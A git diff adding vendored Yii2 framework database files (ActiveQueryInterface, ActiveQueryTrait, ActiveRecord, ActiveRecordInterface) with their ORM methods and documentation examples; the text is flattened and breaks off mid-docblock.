100644 index 00000000..6b0af915 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveQueryInterface.php @@ -0,0 +1,99 @@ + + * @author Carsten Brandt + * @since 2.0 + */ +interface ActiveQueryInterface extends QueryInterface +{ + /** + * Sets the [[asArray]] property. + * @param boolean $value whether to return the query results in terms of arrays instead of Active Records. + * @return static the query object itself + */ + public function asArray($value = true); + + /** + * Sets the [[indexBy]] property. + * @param string|callable $column the name of the column by which the query results should be indexed by. + * This can also be a callable (e.g. anonymous function) that returns the index value based on the given + * row or model data. The signature of the callable should be: + * + * ~~~ + * // $model is an AR instance when `asArray` is false, + * // or an array of column values when `asArray` is true. + * function ($model) + * { + * // return the index value corresponding to $model + * } + * ~~~ + * + * @return static the query object itself + */ + public function indexBy($column); + + /** + * Specifies the relations with which this query should be performed. + * + * The parameters to this method can be either one or multiple strings, or a single array + * of relation names and the optional callbacks to customize the relations. + * + * A relation name can refer to a relation defined in [[ActiveQueryTrait::modelClass|modelClass]] + * or a sub-relation that stands for a relation of a related record. + * For example, `orders.address` means the `address` relation defined + * in the model class corresponding to the `orders` relation. + * + * The followings are some usage examples: + * + * ~~~ + * // find customers together with their orders and country + * Customer::find()->with('orders', 'country')->all(); + * // find customers together with their orders and the orders' shipping address + * Customer::find()->with('orders.address')->all(); + * // find customers together with their country and orders of status 1 + * Customer::find()->with([ + * 'orders' => function ($query) { + * $query->andWhere('status = 1'); + * }, + * 'country', + * ])->all(); + * ~~~ + * + * @return static the query object itself + */ + public function with(); + + /** + * Specifies the relation associated with the junction table for use in relational query. + * @param string $relationName the relation name. This refers to a relation declared in the [[ActiveRelationTrait::primaryModel|primaryModel]] of the relation. + * @param callable $callable a PHP callback for customizing the relation associated with the junction table. + * Its signature should be `function($query)`, where `$query` is the query to be customized. + * @return static the relation object itself. + */ + public function via($relationName, callable $callable = null); + + /** + * Finds the related records for the specified primary record. + * This method is invoked when a relation of an ActiveRecord is being accessed in a lazy fashion. + * @param string $name the relation name + * @param ActiveRecordInterface $model the primary model + * @return mixed the related record(s) + */ + public function findFor($name, $model); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveQueryTrait.php b/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveQueryTrait.php new file mode 100644 index 00000000..3349bf6b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveQueryTrait.php @@ -0,0 +1,210 @@ + + * @author Carsten Brandt + * @since 2.0 + */ +trait ActiveQueryTrait +{ + /** + * @var string the name of the ActiveRecord class. + */ + public $modelClass; + /** + * @var array a list of relations that this query should be performed with + */ + public $with; + /** + * @var boolean whether to return each record as an array. If false (default), an object + * of [[modelClass]] will be created to represent each record. + */ + public $asArray; + + + /** + * Sets the [[asArray]] property. + * @param boolean $value whether to return the query results in terms of arrays instead of Active Records. + * @return static the query object itself + */ + public function asArray($value = true) + { + $this->asArray = $value; + return $this; + } + + /** + * Specifies the relations with which this query should be performed. + * + * The parameters to this method can be either one or multiple strings, or a single array + * of relation names and the optional callbacks to customize the relations. + * + * A relation name can refer to a relation defined in [[modelClass]] + * or a sub-relation that stands for a relation of a related record. + * For example, `orders.address` means the `address` relation defined + * in the model class corresponding to the `orders` relation. + * + * The followings are some usage examples: + * + * ~~~ + * // find customers together with their orders and country + * Customer::find()->with('orders', 'country')->all(); + * // find customers together with their orders and the orders' shipping address + * Customer::find()->with('orders.address')->all(); + * // find customers together with their country and orders of status 1 + * Customer::find()->with([ + * 'orders' => function ($query) { + * $query->andWhere('status = 1'); + * }, + * 'country', + * ])->all(); + * ~~~ + * + * You can call `with()` multiple times. Each call will add relations to the existing ones. + * For example, the following two statements are equivalent: + * + * ~~~ + * Customer::find()->with('orders', 'country')->all(); + * Customer::find()->with('orders')->with('country')->all(); + * ~~~ + * + * @return static the query object itself + */ + public function with() + { + $with = func_get_args(); + if (isset($with[0]) && is_array($with[0])) { + // the parameter is given as an array + $with = $with[0]; + } + + if (empty($this->with)) { + $this->with = $with; + } elseif (!empty($with)) { + foreach ($with as $name => $value) { + if (is_integer($name)) { + // repeating relation is fine as normalizeRelations() handle it well + $this->with[] = $value; + } else { + $this->with[$name] = $value; + } + } + } + + return $this; + } + + /** + * Converts found rows into model instances + * @param array $rows + * @return array|ActiveRecord[] + */ + private function createModels($rows) + { + $models = []; + if ($this->asArray) { + if ($this->indexBy === null) { + return $rows; + } + foreach ($rows as $row) { + if (is_string($this->indexBy)) { + $key = $row[$this->indexBy]; + } else { + $key = call_user_func($this->indexBy, $row); + } + $models[$key] = $row; + } + } else { + /* @var $class ActiveRecord */ + $class = $this->modelClass; + if ($this->indexBy === null) { + foreach ($rows as $row) { + $model = $class::instantiate($row); + $class::populateRecord($model, $row); + $models[] = $model; + } + } else { + foreach ($rows as $row) { + $model = $class::instantiate($row); + $class::populateRecord($model, $row); + if (is_string($this->indexBy)) { + $key = $model->{$this->indexBy}; + } else { + $key = call_user_func($this->indexBy, $model); + } + $models[$key] = $model; + } + } + } + + return $models; + } + + /** + * Finds records corresponding to one or multiple relations and populates them into the primary models. + * @param array $with a list of relations that this query should be performed with. Please + * refer to [[with()]] for details about specifying this parameter. + * @param array|ActiveRecord[] $models the primary models (can be either AR instances or arrays) + */ + public function findWith($with, &$models) + { + $primaryModel = new $this->modelClass; + $relations = $this->normalizeRelations($primaryModel, $with); + /* @var $relation ActiveQuery */ + foreach ($relations as $name => $relation) { + if ($relation->asArray === null) { + // inherit asArray from primary query + $relation->asArray($this->asArray); + } + $relation->populateRelation($name, $models); + } + } + + /** + * @param ActiveRecord $model + * @param array $with + * @return ActiveQueryInterface[] + */ + private function normalizeRelations($model, $with) + { + $relations = []; + foreach ($with as $name => $callback) { + if (is_integer($name)) { + $name = $callback; + $callback = null; + } + if (($pos = strpos($name, '.')) !== false) { + // with sub-relations + $childName = substr($name, $pos + 1); + $name = substr($name, 0, $pos); + } else { + $childName = null; + } + + if (!isset($relations[$name])) { + $relation = $model->getRelation($name); + $relation->primaryModel = null; + $relations[$name] = $relation; + } else { + $relation = $relations[$name]; + } + + if (isset($childName)) { + $relation->with[$childName] = $callback; + } elseif ($callback !== null) { + call_user_func($callback, $relation); + } + } + + return $relations; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveRecord.php b/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveRecord.php new file mode 100644 index 00000000..89bce56d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveRecord.php @@ -0,0 +1,649 @@ +name`. + * In this example, Active Record is providing an object-oriented interface for accessing data stored in the database. + * But Active Record provides much more functionality than this. + * + * To declare an ActiveRecord class you need to extend [[\yii\db\ActiveRecord]] and + * implement the `tableName` method: + * + * ```php + * Tip: You may also use the [Gii code generator](guide:start-gii) to generate ActiveRecord classes from your + * > database tables. + * + * Class instances are obtained in one of two ways: + * + * * Using the `new` operator to create a new, empty object + * * Using a method to fetch an existing record (or records) from the database + * + * Here is a short teaser how working with an ActiveRecord looks like: + * + * ```php + * $user = new User(); + * $user->name = 'Qiang'; + * $user->save(); // a new row is inserted into user table + * + * // the following will retrieve the user 'CeBe' from the database + * $user = User::find()->where(['name' => 'CeBe'])->one(); + * + * // this will get related records from orders table when relation is defined + * $orders = $user->orders; + * ``` + * + * For more details and usage information on ActiveRecord, see the [guide article on ActiveRecord](guide:db-active-record). + * + * @method ActiveQuery hasMany(string $class, array $link) see BaseActiveRecord::hasMany() for more info + * @method ActiveQuery hasOne(string $class, array $link) see BaseActiveRecord::hasOne() for more info + * + * @author Qiang Xue + * @author Carsten Brandt + * @since 2.0 + */ +class ActiveRecord extends BaseActiveRecord +{ + /** + * The insert operation. This is mainly used when overriding [[transactions()]] to specify which operations are transactional. + */ + const OP_INSERT = 0x01; + /** + * The update operation. This is mainly used when overriding [[transactions()]] to specify which operations are transactional. + */ + const OP_UPDATE = 0x02; + /** + * The delete operation. This is mainly used when overriding [[transactions()]] to specify which operations are transactional. + */ + const OP_DELETE = 0x04; + /** + * All three operations: insert, update, delete. + * This is a shortcut of the expression: OP_INSERT | OP_UPDATE | OP_DELETE. + */ + const OP_ALL = 0x07; + + + /** + * Loads default values from database table schema + * + * @param boolean $skipIfSet if existing value should be preserved + * @return static model instance + */ + public function loadDefaultValues($skipIfSet = true) + { + foreach ($this->getTableSchema()->columns as $column) { + if ($column->defaultValue !== null && (!$skipIfSet || $this->{$column->name} === null)) { + $this->{$column->name} = $column->defaultValue; + } + } + return $this; + } + + /** + * Returns the database connection used by this AR class. + * By default, the "db" application component is used as the database connection. + * You may override this method if you want to use a different database connection. + * @return Connection the database connection used by this AR class. + */ + public static function getDb() + { + return Yii::$app->getDb(); + } + + /** + * Creates an [[ActiveQuery]] instance with a given SQL statement. + * + * Note that because the SQL statement is already specified, calling additional + * query modification methods (such as `where()`, `order()`) on the created [[ActiveQuery]] + * instance will have no effect. However, calling `with()`, `asArray()` or `indexBy()` is + * still fine. + * + * Below is an example: + * + * ~~~ + * $customers = Customer::findBySql('SELECT * FROM customer')->all(); + * ~~~ + * + * @param string $sql the SQL statement to be executed + * @param array $params parameters to be bound to the SQL statement during execution. + * @return ActiveQuery the newly created [[ActiveQuery]] instance + */ + public static function findBySql($sql, $params = []) + { + $query = static::find(); + $query->sql = $sql; + + return $query->params($params); + } + + /** + * Finds ActiveRecord instance(s) by the given condition. + * This method is internally called by [[findOne()]] and [[findAll()]]. + * @param mixed $condition please refer to [[findOne()]] for the explanation of this parameter + * @param boolean $one whether this method is called by [[findOne()]] or [[findAll()]] + * @return static|static[] + * @throws InvalidConfigException if there is no primary key defined + * @internal + */ + protected static function findByCondition($condition, $one) + { + $query = static::find(); + + if (!ArrayHelper::isAssociative($condition)) { + // query by primary key + $primaryKey = static::primaryKey(); + if (isset($primaryKey[0])) { + $pk = $primaryKey[0]; + if (!empty($query->join) || !empty($query->joinWith)) { + $pk = static::tableName() . '.' . $pk; + } + $condition = [$pk => $condition]; + } else { + throw new InvalidConfigException(get_called_class() . ' must have a primary key.'); + } + } + + return $one ? $query->andWhere($condition)->one() : $query->andWhere($condition)->all(); + } + + /** + * Updates the whole table using the provided attribute values and conditions. + * For example, to change the status to be 1 for all customers whose status is 2: + * + * ~~~ + * Customer::updateAll(['status' => 1], 'status = 2'); + * ~~~ + * + * @param array $attributes attribute values (name-value pairs) to be saved into the table + * @param string|array $condition the conditions that will be put in the WHERE part of the UPDATE SQL. + * Please refer to [[Query::where()]] on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return integer the number of rows updated + */ + public static function updateAll($attributes, $condition = '', $params = []) + { + $command = static::getDb()->createCommand(); + $command->update(static::tableName(), $attributes, $condition, $params); + + return $command->execute(); + } + + /** + * Updates the whole table using the provided counter changes and conditions. + * For example, to increment all customers' age by 1, + * + * ~~~ + * Customer::updateAllCounters(['age' => 1]); + * ~~~ + * + * @param array $counters the counters to be updated (attribute name => increment value). + * Use negative values if you want to decrement the counters. + * @param string|array $condition the conditions that will be put in the WHERE part of the UPDATE SQL. + * Please refer to [[Query::where()]] on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * Do not name the parameters as `:bp0`, `:bp1`, etc., because they are used internally by this method. + * @return integer the number of rows updated + */ + public static function updateAllCounters($counters, $condition = '', $params = []) + { + $n = 0; + foreach ($counters as $name => $value) { + $counters[$name] = new Expression("[[$name]]+:bp{$n}", [":bp{$n}" => $value]); + $n++; + } + $command = static::getDb()->createCommand(); + $command->update(static::tableName(), $counters, $condition, $params); + + return $command->execute(); + } + + /** + * Deletes rows in the table using the provided conditions. + * WARNING: If you do not specify any condition, this method will delete ALL rows in the table. + * + * For example, to delete all customers whose status is 3: + * + * ~~~ + * Customer::deleteAll('status = 3'); + * ~~~ + * + * @param string|array $condition the conditions that will be put in the WHERE part of the DELETE SQL. + * Please refer to [[Query::where()]] on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return integer the number of rows deleted + */ + public static function deleteAll($condition = '', $params = []) + { + $command = static::getDb()->createCommand(); + $command->delete(static::tableName(), $condition, $params); + + return $command->execute(); + } + + /** + * @inheritdoc + * @return ActiveQuery the newly created [[ActiveQuery]] instance. + */ + public static function find() + { + return Yii::createObject(ActiveQuery::className(), [get_called_class()]); + } + + /** + * Declares the name of the database table associated with this AR class. + * By default this method returns the class name as the table name by calling [[Inflector::camel2id()]] + * with prefix [[Connection::tablePrefix]]. For example if [[Connection::tablePrefix]] is 'tbl_', + * 'Customer' becomes 'tbl_customer', and 'OrderItem' becomes 'tbl_order_item'. You may override this method + * if the table is not named after this convention. + * @return string the table name + */ + public static function tableName() + { + return '{{%' . Inflector::camel2id(StringHelper::basename(get_called_class()), '_') . '}}'; + } + + /** + * Returns the schema information of the DB table associated with this AR class. + * @return TableSchema the schema information of the DB table associated with this AR class. + * @throws InvalidConfigException if the table for the AR class does not exist. + */ + public static function getTableSchema() + { + $schema = static::getDb()->getSchema()->getTableSchema(static::tableName()); + if ($schema !== null) { + return $schema; + } else { + throw new InvalidConfigException("The table does not exist: " . static::tableName()); + } + } + + /** + * Returns the primary key name(s) for this AR class. + * The default implementation will return the primary key(s) as declared + * in the DB table that is associated with this AR class. + * + * If the DB table does not declare any primary key, you should override + * this method to return the attributes that you want to use as primary keys + * for this AR class. + * + * Note that an array should be returned even for a table with single primary key. + * + * @return string[] the primary keys of the associated database table. + */ + public static function primaryKey() + { + return static::getTableSchema()->primaryKey; + } + + /** + * Returns the list of all attribute names of the model. + * The default implementation will return all column names of the table associated with this AR class. + * @return array list of attribute names. + */ + public function attributes() + { + return array_keys(static::getTableSchema()->columns); + } + + /** + * Declares which DB operations should be performed within a transaction in different scenarios. + * The supported DB operations are: [[OP_INSERT]], [[OP_UPDATE]] and [[OP_DELETE]], + * which correspond to the [[insert()]], [[update()]] and [[delete()]] methods, respectively. + * By default, these methods are NOT enclosed in a DB transaction. + * + * In some scenarios, to ensure data consistency, you may want to enclose some or all of them + * in transactions. You can do so by overriding this method and returning the operations + * that need to be transactional. For example, + * + * ~~~ + * return [ + * 'admin' => self::OP_INSERT, + * 'api' => self::OP_INSERT | self::OP_UPDATE | self::OP_DELETE, + * // the above is equivalent to the following: + * // 'api' => self::OP_ALL, + * + * ]; + * ~~~ + * + * The above declaration specifies that in the "admin" scenario, the insert operation ([[insert()]]) + * should be done in a transaction; and in the "api" scenario, all the operations should be done + * in a transaction. + * + * @return array the declarations of transactional operations. The array keys are scenarios names, + * and the array values are the corresponding transaction operations. + */ + public function transactions() + { + return []; + } + + /** + * @inheritdoc + */ + public static function populateRecord($record, $row) + { + $columns = static::getTableSchema()->columns; + foreach ($row as $name => $value) { + if (isset($columns[$name])) { + $row[$name] = $columns[$name]->phpTypecast($value); + } + } + parent::populateRecord($record, $row); + } + + /** + * Inserts a row into the associated database table using the attribute values of this record. + * + * This method performs the following steps in order: + * + * 1. call [[beforeValidate()]] when `$runValidation` is true. If validation + * fails, it will skip the rest of the steps; + * 2. call [[afterValidate()]] when `$runValidation` is true. + * 3. call [[beforeSave()]]. If the method returns false, it will skip the + * rest of the steps; + * 4. insert the record into database. If this fails, it will skip the rest of the steps; + * 5. call [[afterSave()]]; + * + * In the above step 1, 2, 3 and 5, events [[EVENT_BEFORE_VALIDATE]], + * [[EVENT_BEFORE_INSERT]], [[EVENT_AFTER_INSERT]] and [[EVENT_AFTER_VALIDATE]] + * will be raised by the corresponding methods. + * + * Only the [[dirtyAttributes|changed attribute values]] will be inserted into database. + * + * If the table's primary key is auto-incremental and is null during insertion, + * it will be populated with the actual value after insertion. + * + * For example, to insert a customer record: + * + * ~~~ + * $customer = new Customer; + * $customer->name = $name; + * $customer->email = $email; + * $customer->insert(); + * ~~~ + * + * @param boolean $runValidation whether to perform validation before saving the record. + * If the validation fails, the record will not be inserted into the database. + * @param array $attributes list of attributes that need to be saved. Defaults to null, + * meaning all attributes that are loaded from DB will be saved. + * @return boolean whether the attributes are valid and the record is inserted successfully. + * @throws \Exception in case insert failed. + */ + public function insert($runValidation = true, $attributes = null) + { + if ($runValidation && !$this->validate($attributes)) { + Yii::info('Model not inserted due to validation error.', __METHOD__); + return false; + } + $db = static::getDb(); + if ($this->isTransactional(self::OP_INSERT)) { + $transaction = $db->beginTransaction(); + try { + $result = $this->insertInternal($attributes); + if ($result === false) { + $transaction->rollBack(); + } else { + $transaction->commit(); + } + } catch (\Exception $e) { + $transaction->rollBack(); + throw $e; + } + } else { + $result = $this->insertInternal($attributes); + } + + return $result; + } + + /** + * Inserts an ActiveRecord into DB without considering transaction. + * @param array $attributes list of attributes that need to be saved. Defaults to null, + * meaning all attributes that are loaded from DB will be saved. + * @return boolean whether the record is inserted successfully. + */ + protected function insertInternal($attributes = null) + { + if (!$this->beforeSave(true)) { + return false; + } + $values = $this->getDirtyAttributes($attributes); + if (empty($values)) { + foreach ($this->getPrimaryKey(true) as $key => $value) { + $values[$key] = $value; + } + } + $db = static::getDb(); + $command = $db->createCommand()->insert($this->tableName(), $values); + if (!$command->execute()) { + return false; + } + $table = $this->getTableSchema(); + if ($table->sequenceName !== null) { + foreach ($table->primaryKey as $name) { + if ($this->getAttribute($name) === null) { + $id = $table->columns[$name]->phpTypecast($db->getLastInsertID($table->sequenceName)); + $this->setAttribute($name, $id); + $values[$name] = $id; + break; + } + } + } + + $changedAttributes = array_fill_keys(array_keys($values), null); + $this->setOldAttributes($values); + $this->afterSave(true, $changedAttributes); + + return true; + } + + /** + * Saves the changes to this active record into the associated database table. + * + * This method performs the following steps in order: + * + * 1. call [[beforeValidate()]] when `$runValidation` is true. If validation + * fails, it will skip the rest of the steps; + * 2. call [[afterValidate()]] when `$runValidation` is true. + * 3. call [[beforeSave()]]. If the method returns false, it will skip the + * rest of the steps; + * 4. save the record into database. If this fails, it will skip the rest of the steps; + * 5. call [[afterSave()]]; + * + * In the above step 1, 2, 3 and 5, events [[EVENT_BEFORE_VALIDATE]], + * [[EVENT_BEFORE_UPDATE]], [[EVENT_AFTER_UPDATE]] and [[EVENT_AFTER_VALIDATE]] + * will be raised by the corresponding methods. + * + * Only the [[dirtyAttributes|changed attribute values]] will be saved into database. + * + * For example, to update a customer record: + * + * ~~~ + * $customer = Customer::findOne($id); + * $customer->name = $name; + * $customer->email = $email; + * $customer->update(); + * ~~~ + * + * Note that it is possible the update does not affect any row in the table. + * In this case, this method will return 0. For this reason, you should use the following + * code to check if update() is successful or not: + * + * ~~~ + * if ($this->update() !== false) { + * // update successful + * } else { + * // update failed + * } + * ~~~ + * + * @param boolean $runValidation whether to perform validation before saving the record. + * If the validation fails, the record will not be inserted into the database. + * @param array $attributeNames list of attributes that need to be saved. Defaults to null, + * meaning all attributes that are loaded from DB will be saved. + * @return integer|boolean the number of rows affected, or false if validation fails + * or [[beforeSave()]] stops the updating process. + * @throws StaleObjectException if [[optimisticLock|optimistic locking]] is enabled and the data + * being updated is outdated. + * @throws \Exception in case update failed. + */ + public function update($runValidation = true, $attributeNames = null) + { + if ($runValidation && !$this->validate($attributeNames)) { + Yii::info('Model not updated due to validation error.', __METHOD__); + return false; + } + $db = static::getDb(); + if ($this->isTransactional(self::OP_UPDATE)) { + $transaction = $db->beginTransaction(); + try { + $result = $this->updateInternal($attributeNames); + if ($result === false) { + $transaction->rollBack(); + } else { + $transaction->commit(); + } + } catch (\Exception $e) { + $transaction->rollBack(); + throw $e; + } + } else { + $result = $this->updateInternal($attributeNames); + } + + return $result; + } + + /** + * Deletes the table row corresponding to this active record. + * + * This method performs the following steps in order: + * + * 1. call [[beforeDelete()]]. If the method returns false, it will skip the + * rest of the steps; + * 2. delete the record from the database; + * 3. call [[afterDelete()]]. + * + * In the above step 1 and 3, events named [[EVENT_BEFORE_DELETE]] and [[EVENT_AFTER_DELETE]] + * will be raised by the corresponding methods. + * + * @return integer|boolean the number of rows deleted, or false if the deletion is unsuccessful for some reason. + * Note that it is possible the number of rows deleted is 0, even though the deletion execution is successful. + * @throws StaleObjectException if [[optimisticLock|optimistic locking]] is enabled and the data + * being deleted is outdated. + * @throws \Exception in case delete failed. + */ + public function delete() + { + $db = static::getDb(); + if ($this->isTransactional(self::OP_DELETE)) { + $transaction = $db->beginTransaction(); + try { + $result = $this->deleteInternal(); + if ($result === false) { + $transaction->rollBack(); + } else { + $transaction->commit(); + } + } catch (\Exception $e) { + $transaction->rollBack(); + throw $e; + } + } else { + $result = $this->deleteInternal(); + } + + return $result; + } + + /** + * Deletes an ActiveRecord without considering transaction. + * @return integer|boolean the number of rows deleted, or false if the deletion is unsuccessful for some reason. + * Note that it is possible the number of rows deleted is 0, even though the deletion execution is successful. + * @throws StaleObjectException + */ + protected function deleteInternal() + { + $result = false; + if ($this->beforeDelete()) { + // we do not check the return value of deleteAll() because it's possible + // the record is already deleted in the database and thus the method will return 0 + $condition = $this->getOldPrimaryKey(true); + $lock = $this->optimisticLock(); + if ($lock !== null) { + $condition[$lock] = $this->$lock; + } + $result = $this->deleteAll($condition); + if ($lock !== null && !$result) { + throw new StaleObjectException('The object being deleted is outdated.'); + } + $this->setOldAttributes(null); + $this->afterDelete(); + } + + return $result; + } + + /** + * Returns a value indicating whether the given active record is the same as the current one. + * The comparison is made by comparing the table names and the primary key values of the two active records. + * If one of the records [[isNewRecord|is new]] they are also considered not equal. + * @param ActiveRecord $record record to compare to + * @return boolean whether the two active records refer to the same row in the same database table. + */ + public function equals($record) + { + if ($this->isNewRecord || $record->isNewRecord) { + return false; + } + + return $this->tableName() === $record->tableName() && $this->getPrimaryKey() === $record->getPrimaryKey(); + } + + /** + * Returns a value indicating whether the specified operation is transactional in the current [[scenario]]. + * @param integer $operation the operation to check. Possible values are [[OP_INSERT]], [[OP_UPDATE]] and [[OP_DELETE]]. + * @return boolean whether the specified operation is transactional in the current [[scenario]]. + */ + public function isTransactional($operation) + { + $scenario = $this->getScenario(); + $transactions = $this->transactions(); + + return isset($transactions[$scenario]) && ($transactions[$scenario] & $operation); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveRecordInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveRecordInterface.php new file mode 100644 index 00000000..6b578157 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveRecordInterface.php @@ -0,0 +1,400 @@ + + * @author Carsten Brandt + * @since 2.0 + */ +interface ActiveRecordInterface +{ + /** + * Returns the primary key **name(s)** for this AR class. + * + * Note that an array should be returned even when the record only has a single primary key. + * + * For the primary key **value** see [[getPrimaryKey()]] instead. + * + * @return string[] the primary key name(s) for this AR class. + */ + public static function primaryKey(); + + /** + * Returns the list of all attribute names of the record. + * @return array list of attribute names. + */ + public function attributes(); + + /** + * Returns the named attribute value. + * If this record is the result of a query and the attribute is not loaded, + * null will be returned. + * @param string $name the attribute name + * @return mixed the attribute value. Null if the attribute is not set or does not exist. + * @see hasAttribute() + */ + public function getAttribute($name); + + /** + * Sets the named attribute value. + * @param string $name the attribute name. + * @param mixed $value the attribute value. + * @see hasAttribute() + */ + public function setAttribute($name, $value); + + /** + * Returns a value indicating whether the record has an attribute with the specified name. + * @param string $name the name of the attribute + * @return boolean whether the record has an attribute with the specified name. + */ + public function hasAttribute($name); + + /** + * Returns the primary key value(s). + * @param boolean $asArray whether to return the primary key value as an array. If true, + * the return value will be an array with attribute names as keys and attribute values as values. + * Note that for composite primary keys, an array will always be returned regardless of this parameter value. + * @return mixed the primary key value. An array (attribute name => attribute value) is returned if the primary key + * is composite or `$asArray` is true. A string is returned otherwise (null will be returned if + * the key value is null). + */ + public function getPrimaryKey($asArray = false); + + /** + * Returns the old primary key value(s). + * This refers to the primary key value that is populated into the record + * after executing a find method (e.g. find(), findOne()). + * The value remains unchanged even if the primary key attribute is manually assigned with a different value. + * @param boolean $asArray whether to return the primary key value as an array. If true, + * the return value will be an array with column name as key and column value as value. + * If this is false (default), a scalar value will be returned for non-composite primary key. + * @property mixed The old primary key value. An array (column name => column value) is + * returned if the primary key is composite. A string is returned otherwise (null will be + * returned if the key value is null). + * @return mixed the old primary key value. An array (column name => column value) is returned if the primary key + * is composite or `$asArray` is true. A string is returned otherwise (null will be returned if + * the key value is null). + */ + public function getOldPrimaryKey($asArray = false); + + /** + * Returns a value indicating whether the given set of attributes represents the primary key for this model + * @param array $keys the set of attributes to check + * @return boolean whether the given set of attributes represents the primary key for this model + */ + public static function isPrimaryKey($keys); + + /** + * Creates an [[ActiveQueryInterface|ActiveQuery]] instance for query purpose. + * + * The returned [[ActiveQueryInterface|ActiveQuery]] instance can be further customized by calling + * methods defined in [[ActiveQueryInterface]] before `one()` or `all()` is called to return + * populated ActiveRecord instances. For example, + * + * ```php + * // find the customer whose ID is 1 + * $customer = Customer::find()->where(['id' => 1])->one(); + * + * // find all active customers and order them by their age: + * $customers = Customer::find() + * ->where(['status' => 1]) + * ->orderBy('age') + * ->all(); + * ``` + * + * This method is also called by [[BaseActiveRecord::hasOne()]] and [[BaseActiveRecord::hasMany()]] to + * create a relational query. + * + * You may override this method to return a customized query. For example, + * + * ```php + * class Customer extends ActiveRecord + * { + * public static function find() + * { + * // use CustomerQuery instead of the default ActiveQuery + * return new CustomerQuery(get_called_class()); + * } + * } + * ``` + * + * The following code shows how to apply a default condition for all queries: + * + * ```php + * class Customer extends ActiveRecord + * { + * public static function find() + * { + * return parent::find()->where(['deleted' => false]); + * } + * } + * + * // Use andWhere()/orWhere() to apply the default condition + * // SELECT FROM customer WHERE `deleted`=:deleted AND age>30 + * $customers = Customer::find()->andWhere('age>30')->all(); + * + * // Use where() to ignore the default condition + * // SELECT FROM customer WHERE age>30 + * $customers = Customer::find()->where('age>30')->all(); + * + * @return static|ActiveQueryInterface the newly created [[ActiveQueryInterface|ActiveQuery]] instance. + */ + public static function find(); + + /** + * Returns a single active record model instance by a primary key or an array of column values. + * + * The method accepts: + * + * - a scalar value (integer or string): query by a single primary key value and return the + * corresponding record (or null if not found). + * - an array of name-value pairs: query by a set of attribute values and return a single record + * matching all of them (or null if not found). + * + * Note that this method will automatically call the `one()` method and return an + * [[ActiveRecordInterface|ActiveRecord]] instance. For example, + * + * ```php + * // find a single customer whose primary key value is 10 + * $customer = Customer::findOne(10); + * + * // the above code is equivalent to: + * $customer = Customer::find()->where(['id' => 10])->one(); + * + * // find the first customer whose age is 30 and whose status is 1 + * $customer = Customer::findOne(['age' => 30, 'status' => 1]); + * + * // the above code is equivalent to: + * $customer = Customer::find()->where(['age' => 30, 'status' => 1])->one(); + * ``` + * + * @param mixed $condition primary key value or a set of column values + * @return static ActiveRecord instance matching the condition, or null if nothing matches. + */ + public static function findOne($condition); + + /** + * Returns a list of active record models that match the specified primary key value(s) or a set of column values. + * + * The method accepts: + * + * - a scalar value (integer or string): query by a single primary key value and return an array containing the + * corresponding record (or an empty array if not found). + * - an array of scalar values (integer or string): query by a list of primary key values and return the + * corresponding records (or an empty array if none was found). + * Note that an empty condition will result in an empty result as it will be interpreted as a search for + * primary keys and not an empty `WHERE` condition. + * - an array of name-value pairs: query by a set of attribute values and return an array of records + * matching all of them (or an empty array if none was found). + * + * Note that this method will automatically call the `all()` method and return an array of + * [[ActiveRecordInterface|ActiveRecord]] instances. For example, + * + * ```php + * // find the customers whose primary key value is 10 + * $customers = Customer::findAll(10); + * + * // the above code is equivalent to: + * $customers = Customer::find()->where(['id' => 10])->all(); + * + * // find the customers whose primary key value is 10, 11 or 12. + * $customers = Customer::findAll([10, 11, 12]); + * + * // the above code is equivalent to: + * $customers = Customer::find()->where(['id' => [10, 11, 12]])->all(); + * + * // find customers whose age is 30 and whose status is 1 + * $customers = Customer::findAll(['age' => 30, 'status' => 1]); + * + * // the above code is equivalent to: + * $customers = Customer::find()->where(['age' => 30, 'status' => 1])->all(); + * ``` + * + * @param mixed $condition primary key value or a set of column values + * @return array an array of ActiveRecord instance, or an empty array if nothing matches. + */ + public static function findAll($condition); + + /** + * Updates records using the provided attribute values and conditions. + * For example, to change the status to be 1 for all customers whose status is 2: + * + * ~~~ + * Customer::updateAll(['status' => 1], ['status' => '2']); + * ~~~ + * + * @param array $attributes attribute values (name-value pairs) to be saved for the record. + * Unlike [[update()]] these are not going to be validated. + * @param array $condition the condition that matches the records that should get updated. + * Please refer to [[QueryInterface::where()]] on how to specify this parameter. + * An empty condition will match all records. + * @return integer the number of rows updated + */ + public static function updateAll($attributes, $condition = null); + + /** + * Deletes records using the provided conditions. + * WARNING: If you do not specify any condition, this method will delete ALL rows in the table. + * + * For example, to delete all customers whose status is 3: + * + * ~~~ + * Customer::deleteAll([status = 3]); + * ~~~ + * + * @param array $condition the condition that matches the records that should get deleted. + * Please refer to [[QueryInterface::where()]] on how to specify this parameter. + * An empty condition will match all records. + * @return integer the number of rows deleted + */ + public static function deleteAll($condition = null); + + /** + * Saves the current record. + * + * This method will call [[insert()]] when [[getIsNewRecord()|isNewRecord]] is true, or [[update()]] + * when [[getIsNewRecord()|isNewRecord]] is false. + * + * For example, to save a customer record: + * + * ~~~ + * $customer = new Customer; // or $customer = Customer::findOne($id); + * $customer->name = $name; + * $customer->email = $email; + * $customer->save(); + * ~~~ + * + * @param boolean $runValidation whether to perform validation before saving the record. + * If the validation fails, the record will not be saved to database. `false` will be returned + * in this case. + * @param array $attributeNames list of attributes that need to be saved. Defaults to null, + * meaning all attributes that are loaded from DB will be saved. + * @return boolean whether the saving succeeds + */ + public function save($runValidation = true, $attributeNames = null); + + /** + * Inserts the record into the database using the attribute values of this record. + * + * Usage example: + * + * ```php + * $customer = new Customer; + * $customer->name = $name; + * $customer->email = $email; + * $customer->insert(); + * ``` + * + * @param boolean $runValidation whether to perform validation before saving the record. + * If the validation fails, the record will not be inserted into the database. + * @param array 